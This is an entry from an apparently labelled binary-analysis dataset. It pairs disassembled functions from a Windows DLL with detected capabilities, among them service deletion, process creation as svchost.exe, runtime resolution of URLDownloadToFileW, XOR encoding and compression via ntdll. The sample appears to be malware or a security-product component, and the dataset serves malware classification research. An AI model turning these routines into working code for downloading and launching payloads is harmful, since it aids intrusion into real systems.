joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180007600
Capabilities:
Delete service
Query service status

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x60
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
jne 0x180007638
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rsi
ret
cmp qword [0x180033c68], rbx
mov qword [rsp + 0x78], rdi
jne 0x18000766b
mov ecx, 0x1994
call fcn.1800251fc
test rax, rax
je 0x180007664
mov dword [rax + 0x1990], ebx
mov qword [0x180033c68], rax
jmp 0x18000766b
mov qword [0x180033c68], rbx
lea rdx, [0x180036dcc]
mov r8d, 0xf01ff
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
jne 0x18000769c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp eax, 0x424
jne 0x1800076ec
xor ebx, ebx
jmp 0x1800076ec
lea rax, [rsp + 0x70]
lea r8, [rsp + 0x30]
mov r9d, 0x24
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x1800076db
cmp dword [rsp + 0x34], 1
je 0x1800076ce
mov ebx, SQLDriversW
jmp 0x1800076e3
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x1800076e3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdi, qword [rsp + 0x78]
mov eax, ebx
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rsi
ret
Function at 0x1800079b0
Capabilities:
Create process on windows
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x100
xor edx, edx
mov rdi, rcx
lea rcx, [rsp + 0x90]
lea r8d, [rdx + 0x68]
call fcn.1800252b0
mov eax, 1
lea rcx, [rsp + 0x50]
lea r8d, [rax + 0x17]
xor edx, edx
mov dword [rsp + 0x90], SQLExecDirectW
mov dword [rsp + 0xcc], eax
mov word [rsp + 0xd0], ax
call fcn.1800252b0
xor esi, esi
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x78], rsi
mov dword [rsp + 0x68], esi
call fcn.18001be10
mov ecx, 0x1002
call fcn.1800251fc
mov rbx, rax
test rax, rax
je 0x180007a42
mov word [rax + 0x1000], si
mov r8, qword [rsp + 0x80]
lea rdx, str._s_svchost.exe__s
mov r9, rdi
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea r11, [rsp + 0x50]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
mov dword [rsp + 0x28], SQLAllocHandle
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x180007ac7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test rbx, rbx
je 0x180007ab4
mov rcx, rbx
call sub.KERNEL32.dll_LocalFree
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x180007ac3
call sub.KERNEL32.dll_LocalFree
mov eax, edi
jmp 0x180007b39
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
lea r9, [0x180033090]
lea r8, [rsp + 0x118]
mov qword [rsp + 0x118], rsi
mov dword [rsp + 0x20], 0xbb6
call fcn.18000a6a0
mov rcx, qword [rsp + 0x50]
mov edi, eax
test eax, eax
je 0x180007b0a
mov edx, eax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x180007aa7
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x180007b28
mov rcx, rbx
call sub.KERNEL32.dll_LocalFree
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x180007b37
call sub.KERNEL32.dll_LocalFree
xor eax, eax
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180008290
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xe0
mov edx, dword [rcx + 0x10]
mov rdi, rcx
sub edx, 0x3004
je 0x18000837b
cmp edx, 8
jne 0x180008435
mov ecx, 0x402
call fcn.1800251fc
mov rbx, rax
test rax, rax
je 0x1800082d3
mov word [rax + 0x400], 0
lea r9, [rdi + 0x414]
lea r8, [rdi + 0x214]
lea rdx, str._s__s
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x18]
call fcn.1800252b0
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call fcn.1800252b0
xor ecx, ecx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ecx
xor r8d, r8d
mov rdx, rbx
mov dword [rsp + 0x70], SQLExecDirectW
mov word [rsp + 0xb0], cx
mov dword [rsp + 0x20], ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180008422
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180008428
mov ecx, 0x402
mov qword [rsp + 0xf0], rsi
call fcn.1800251fc
mov rbx, rax
test rax, rax
je 0x18000839e
mov word [rax + 0x400], 0
lea r9, [rdi + 0x414]
lea r8, [rdi + 0x214]
lea rdx, str._s__s
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov rax, qword [0x180037948]
test rax, rax
jne 0x1800083ff
mov rax, qword [0x180037940]
test rax, rax
jne 0x1800083e8
lea rcx, str.Urlmon
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x180037940], rax
lea rdx, str.URLDownloadToFileW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180037948], rax
xor ecx, ecx
lea rdx, [rdi + 0x14]
lea r8, [rdi + 0x214]
xor r9d, r9d
mov qword [rsp + 0x20], rcx
call rax
mov rsi, qword [rsp + 0xf0]
test eax, eax
je 0x180008428
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rbx, rbx
je 0x180008435
mov rcx, rbx
call sub.KERNEL32.dll_LocalFree
xor eax, eax
mov rbx, qword [rsp + 0xf8]
add rsp, 0xe0
pop rdi
ret
Function at 0x180008fb0
Capabilities:
Read .ini file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x140
mov rdi, rcx
lea rcx, [rsp + 0x20]
mov rbx, rdx
mov dword [rsp + 0x20], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x180008ff1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rbx, qword [rsp + 0x150]
add rsp, 0x140
pop rdi
ret
cmp byte [rsp + 0x13a], 1
jne 0x18000900e
xor eax, eax
mov rbx, qword [rsp + 0x150]
add rsp, 0x140
pop rdi
ret
lea r9, str.C:UsersPublicDocumentsdesktop_.ini
lea rdx, str.MountDiskType
lea rcx, [0x18002d010]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
lea rcx, [rbx + 0x10]
lea rdx, [rsp + 0x160]
mov r8d, 4
mov dword [rsp + 0x160], eax
call fcn.18002525c
mov r8d, 0x7530
mov rdx, rbx
mov rcx, rdi
mov dword [rbx], 0x20190520
mov dword [rbx + 4], reloc.ODBC32.dll_SQLFetch
mov qword [rbx + 8], 4
call fcn.180020860
mov rbx, qword [rsp + 0x150]
add rsp, 0x140
pop rdi
ret

Function at 0x180009090
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x30
mov rbx, rcx
mov ecx, 0x120
mov rdi, rdx
call fcn.1800251fc
lea rdx, [rbx + 0x38]
mov r8d, 0x120
mov rcx, rax
mov rbp, rax
call fcn.18002525c
mov ecx, dword [rdi + 0x10]
mov rbx, qword [0x180033c70]
mov dword [rbp + 0x118], ecx
mov ecx, dword [rdi + 0x14]
mov dword [rbp + 0x11c], ecx
test rbx, rbx
jne 0x180009119
lea ecx, [rbx + 0x40]
call fcn.1800251fc
mov rbx, rax
test rax, rax
je 0x180009110
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea r11, [rbx + 0x28]
mov qword [r11], r11
mov qword [r11 + 8], r11
mov dword [r11 + 0x10], 0
jmp 0x180009112
xor ebx, ebx
mov qword [0x180033c70], rbx
mov ecx, 0x38
mov qword [rsp + 0x48], rsi
call fcn.1800251fc
mov rdi, rax
test rax, rax
jne 0x180009142
mov rcx, rbp
lea ebx, [rax + 8]
call sub.KERNEL32.dll_LocalFree
mov eax, ebx
jmp 0x1800091f9
lea rax, [rsp + 0x40]
lea r8, [0x180024fd0]
mov r9, rdi
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
jne 0x180009190
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov ebx, eax
call sub.KERNEL32.dll_LocalFree
test ebx, ebx
je 0x1800091ee
mov rcx, rbp
call sub.KERNEL32.dll_LocalFree
mov eax, ebx
jmp 0x1800091f9
mov qword [rdi + 0x18], rbx
mov eax, dword [rsp + 0x40]
mov rcx, rbx
mov dword [rdi + 0x10], eax
lea rax, str.OlProcManager
mov qword [rdi + 0x28], rbp
mov qword [rdi + 0x30], rax
lea rax, [0x180009690]
mov qword [rdi + 0x20], rax
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea r11, [rbx + 0x28]
mov qword [rdi], r11
mov rax, qword [r11 + 8]
mov rcx, rbx
mov qword [rdi + 8], rax
mov rax, qword [r11 + 8]
mov qword [rax], rdi
mov qword [r11 + 8], rdi
inc dword [r11 + 0x10]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x180009490
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov r8, qword [0x180033c78]
xor ebp, ebp
mov rdi, rdx
mov rsi, rcx
mov ebx, 0x20
test r8, r8
jne 0x180009515
mov ecx, 0x690
call fcn.1800251fc
mov r8, rax
test rax, rax
je 0x18000950b
add rax, 8
mov ecx, ebx
nop word [rax + rax]
mov dword [rax - 8], 0xffffffff
mov qword [rax - 4], rbp
add rax, 0x34
dec rcx
jne 0x1800094e0
mov qword [r8 + 0x680], rbp
mov qword [r8 + 0x688], rbp
mov qword [0x180033c78], r8
jmp 0x180009515
mov r8, rbp
mov qword [0x180033c78], rbp
mov dword [rdi + 0x10], ebp
cmp dword [r8], 0xffffffff
je 0x180009566
movsxd rcx, dword [rdi + 0x10]
mov rax, qword [r8]
imul rcx, rcx, 0x34
mov qword [rcx + rdi + 0x14], rax
mov rax, qword [r8 + 8]
mov qword [rcx + rdi + 0x1c], rax
mov rax, qword [r8 + 0x10]
mov qword [rcx + rdi + 0x24], rax
mov rax, qword [r8 + 0x18]
mov qword [rcx + rdi + 0x2c], rax
mov rax, qword [r8 + 0x20]
mov qword [rcx + rdi + 0x34], rax
mov rax, qword [r8 + 0x28]
mov qword [rcx + rdi + 0x3c], rax
mov eax, dword [r8 + 0x30]
mov dword [rcx + rdi + 0x44], eax
inc dword [rdi + 0x10]
add r8, 0x34
dec rbx
jne 0x180009518
mov dword [rdi], 0x20190520
mov dword [rdi + 4], 8
mov eax, dword [rdi + 0x10]
mov r8d, 0x7530
mov rdx, rdi
mov rcx, rsi
imul eax, eax, 0x34
add eax, 4
mov dword [rdi + 0xc], ebp
mov dword [rdi + 8], eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
jmp fcn.180020860

Function at 0x18000a2c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
movsxd rdx, edx
mov r10, rcx
mov r11d, r9d
mov ebx, r9d
mov edi, r9d
test rdx, rdx
jle 0x18000a333
sub r10, r8
mov eax, r9d
mov ecx, ebx
inc r8
shr eax, 3
shl ecx, 7
lea r9d, [r9 + rax - 0x11111111]
mov eax, r11d
shr eax, 5
lea r11d, [r11 + rax - 0x22222222]
mov eax, 0x33333333
sub eax, ecx
mov ecx, edi
add ebx, eax
shl ecx, 9
mov eax, 0x44444444
sub eax, ecx
add edi, eax
lea eax, [r11 + r9]
add al, bl
add al, dil
xor al, byte [r10 + r8 - 1]
dec rdx
mov byte [r8 - 1], al
jne 0x18000a2e1
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
xor eax, eax
ret

Function at 0x18000a340
Capabilities:
Compress data via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x180037968]
mov rbx, r9
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
test rax, rax
jne 0x18000a3a3
mov rax, qword [0x180037950]
test rax, rax
jne 0x18000a38c
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x180037950], rax
lea rdx, str.RtlDecompressBuffer
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180037968], rax
mov r9, rsi
mov r8d, 0xf000
mov rdx, rbp
mov ecx, 2
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], edi
call rax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x18000a3e0
Capabilities:
Compress data via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x180037970]
mov rbx, r9
mov rdi, r8
mov esi, edx
mov rbp, rcx
test rax, rax
jne 0x18000a442
mov rax, qword [0x180037950]
test rax, rax
jne 0x18000a42b
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x180037950], rax
lea rdx, str.RtlCompressBuffer
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180037970], rax
mov rcx, qword [rsp + 0x70]
mov r9, rdi
mov r8d, esi
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rbx
mov ecx, 2
mov rdx, rbp
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xf000
call rax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x18000a490
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0x70
mov rbx, qword [0x180033c58]
xor r12d, r12d
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
test rbx, rbx
jne 0x18000a4fc
lea ecx, [rbx + 0x30]
call fcn.1800251fc
mov rbx, rax
test rax, rax
je 0x18000a4f2
lea edx, [r12 + 1]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rax + 0x18], r12
mov qword [rax + 0x28], r12
mov qword [rax + 0x20], r12
mov dword [rax + 0x10], r12d
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx], rax
jmp 0x18000a4f5
mov rbx, r12
mov qword [0x180033c58], rbx
mov rcx, qword [rbx + 8]
cmp dword [rcx], 0x45534554
je 0x18000a512
mov eax, reloc.ODBC32.dll_SQLFetch
jmp 0x18000a67f
mov rbx, qword [0x180033c70]
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x40], r12d
mov qword [rsp + 0x48], rsi
mov dword [rsp + 0x50], edi
mov rax, qword [rcx + 0x28]
mov qword [rsp + 0x58], rax
mov eax, dword [rcx + 0x30]
mov dword [rsp + 0x60], eax
test rbx, rbx
jne 0x18000a575
lea ecx, [rbx + 0x40]
call fcn.1800251fc
mov rbx, rax
test rax, rax
je 0x18000a56b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea r11, [rbx + 0x28]
mov qword [r11], r11
mov qword [r11 + 8], r11
mov dword [r11 + 0x10], r12d
jmp 0x18000a56e
mov rbx, r12
mov qword [0x180033c70], rbx
mov ecx, 0x38
call fcn.1800251fc
mov rdi, rax
test rax, rax
jne 0x18000a593
mov ebx, 8
mov eax, ebx
jmp 0x18000a67f
lea rax, [rsp + 0xa8]
lea r8, [0x180024fd0]
mov r9, rdi
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
jne 0x18000a5df
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov ebx, eax
call sub.KERNEL32.dll_LocalFree
test ebx, ebx
je 0x18000a645
mov eax, ebx
jmp 0x18000a67f
mov qword [rdi + 0x18], rbx
mov eax, dword [rsp + 0xa8]
mov rcx, rbx
mov dword [rdi + 0x10], eax
lea rax, [0x18002d0a4]
mov qword [rdi + 0x30], rax
lea rax, [0x18000ab70]
mov qword [rdi + 0x20], rax
lea rax, [rsp + 0x38]
mov qword [rdi + 0x28], rax
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea r11, [rbx + 0x28]
mov qword [rdi], r11
mov rax, qword [r11 + 8]
mov rcx, rbx
mov qword [rdi + 8], rax
mov rax, qword [r11 + 8]
mov qword [rax], rdi
mov qword [r11 + 8], rdi
inc dword [r11 + 0x10]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
or edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
jne 0x18000a66b
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000a66f
mov eax, dword [rsp + 0x30]
movsxd rcx, eax
cmp eax, 0x10000
mov qword [rbp], rcx
cmovge eax, r12d
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x18000bbe0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push r12
mov eax, 0x1050
call fcn.18002b690
sub rsp, rax
xor ebp, ebp
mov rsi, rcx
mov ecx, 0x5000
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x1088], ebp
mov r12, rdx
call fcn.1800251fc
mov rbx, rax
test rax, rax
je 0x18000bcb0
nop word [rax + rax]
mov rax, qword [0x180037978]
test rax, rax
jne 0x18000bc73
mov rax, qword [0x180037950]
test rax, rax
jne 0x18000bc5c
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x180037950], rax
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180037978], rax
lea rcx, [rsp + 0x1088]
mov r9d, 0x30
mov r8, rbx
mov qword [rsp + 0x20], rcx
mov rcx, rsi
xor edx, edx
call rax
test eax, eax
je 0x18000bcbb
mov rcx, rbx
call sub.KERNEL32.dll_LocalFree
mov ecx, dword [rsp + 0x1088]
call fcn.1800251fc
mov rbx, rax
test rax, rax
jne 0x18000bc30
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000be32
mov qword [rsp + 0x1070], rdi
mov rdi, qword [rbx + 8]
mov dword [rsp + 0x1080], ebp
add rdi, 0x10
test rsi, rsi
je 0x18000be46
test rdi, rdi
je 0x18000be46
lea rax, [rsp + 0x38]
lea r8, [rsp + 0x30]
mov r9d, 8
mov rdx, rdi
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.18000be50
test eax, eax
jne 0x18000bd8c
mov r9d, 2
lea rax, [rsp + 0x1080]
mov rdx, rdi
lea r8d, [r9 + 6]
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.18000bee0
test eax, eax
je 0x18000be46
lea rax, [rsp + 0x38]
lea r8, [rsp + 0x30]
mov r9d, 8
mov rdx, rdi
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.18000be50
mov r9d, dword [rsp + 0x1080]
mov ecx, 1
test eax, eax
lea rax, [rsp + 0x1080]
lea r8d, [rcx + 7]
cmovne ebp, ecx
mov rcx, rsi
mov rdx, rdi
mov qword [rsp + 0x20], rax
call fcn.18000bee0
test ebp, ebp
je 0x18000be46
mov rax, qword [0x180037990]
mov rdi, qword [rsp + 0x30]
test rax, rax
jne 0x18000bdd4
mov rax, qword [0x1800378f0]
test rax, rax
jne 0x18000bdbd
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1800378f0], rax
lea rdx, [0x18002d0f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180037990], rax
lea rcx, [rsp + 0x40]
lea r8, [rsp + 0x50]
mov r9d, 0x1000
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov rdx, rdi
call rax
test eax, eax
je 0x18000be46
mov eax, 0x5a4d
cmp ax, word [rsp + 0x50]
jne 0x18000be46
movsxd rax, dword [rsp + 0x8c]
cmp dword [rsp + rax + 0x50], 0x4550
jne 0x18000be46
mov eax, dword [rsp + rax + 0x78]
mov rcx, rbx
add rax, qword [rsp + 0x30]
mov qword [r12], rax
call sub.KERNEL32.dll_LocalFree
xor eax, eax
mov rdi, qword [rsp + 0x1070]
mov rbx, qword [rsp + 0x1078]
add rsp, 0x1050
pop r12
pop rsi
pop rbp
ret
mov eax, 0x490
jmp 0x18000be2a
Function at 0x18000c920
Capabilities:
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
xor r12d, r12d
mov rdi, rcx
mov ecx, 0x1002
mov qword [rax - 0x40], r12
mov qword [rax - 0x30], r12
mov qword [rax - 0x38], r12
mov dword [rax - 0x48], r12d
call fcn.1800251fc
mov rbp, rax
test rax, rax
je 0x18000c96c
mov word [rax + 0x1000], r12w
cmp qword [0x180033c68], r12
jne 0x18000c99b
mov ecx, 0x1994
call fcn.1800251fc
test rax, rax
je 0x18000c994
mov dword [rax + 0x1990], r12d
mov qword [0x180033c68], rax
jmp 0x18000c99b
mov qword [0x180033c68], r12
lea rdx, [0x180036bcc]
lea rcx, [rsp + 0x40]
call fcn.18001c720
mov r15, qword [rsp + 0x58]
lea r14, [rdi + 0x2010]
add rdi, 8
mov esi, r12d
nop
lea rdx, str._s_dx.dll
mov r9d, esi
mov r8, r15
mov rcx, rbp
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov rcx, r14
xor r13d, r13d
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, 0xffffffff
cmp ebx, ecx
je 0x18000ca01
cmp qword [rdi], r13
jne 0x18000ca1c
lea r12d, [r13 + 1]
jmp 0x18000ca1c
mov rax, qword [rdi]
test rax, rax
je 0x18000ca1c
cmp rax, rcx
je 0x18000ca1c
mov r13d, 1
mov qword [rsp + 0x98], rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test r12d, r12d
je 0x18000ca92
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor r12d, r12d
lea rcx, [rsp + 0x20]
mov rdx, rbp
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x20], r12d
call fcn.180005bd0
test eax, eax
je 0x18000ca69
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x18000ca95
call sub.KERNEL32.dll_LocalFree
jmp 0x18000ca95
mov rbx, qword [rsp + 0x28]
mov r8d, dword [rsp + 0x20]
lea rcx, [rsp + 0x98]
mov rdx, rbx
call fcn.18000a490
test rbx, rbx
je 0x18000ca95
mov rcx, rbx
call sub.KERNEL32.dll_LocalFree
jmp 0x18000ca95
xor r12d, r12d
test r13d, r13d
je 0x18000caa0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
inc esi
add rdi, 0x40
cmp esi, 0x80
jl 0x18000c9c0
test rbp, rbp
je 0x18000cabf
mov rcx, rbp
call sub.KERNEL32.dll_LocalFree
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x18000cace
call sub.KERNEL32.dll_LocalFree
lea r11, [rsp + 0x60]
xor eax, eax
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18000ceb0
Capabilities:
Read file via mapping

Disassembly:
sub rsp, 0x78
mov rax, qword [0x1800379b0]
test rax, rax
jne 0x18000cf45
mov qword [rsp + 0x70], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, str.360SD_8.8X
lea rcx, [rsp + 0x30]
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea r8, [rsp + 0x30]
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov rbx, rax
test rax, rax
je 0x18000cf24
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [0x1800379b0], rax
test rax, rax
jne 0x18000cf30
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x78
ret
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x1800379b0]
mov rbx, qword [rsp + 0x70]
add rsp, 0x78
ret
Function at 0x18000da10
Capabilities:
Read file via mapping

Disassembly:
sub rsp, 0x78
mov rax, qword [0x1800379b8]
test rax, rax
jne 0x18000daa5
mov qword [rsp + 0x70], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, str.360SD_8.8X
lea rcx, [rsp + 0x30]
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea r8, [rsp + 0x30]
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov rbx, rax
test rax, rax
je 0x18000da84
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [0x1800379b8], rax
test rax, rax
jne 0x18000da90
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x78
ret
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x1800379b8]
mov rbx, qword [rsp + 0x70]
add rsp, 0x78
ret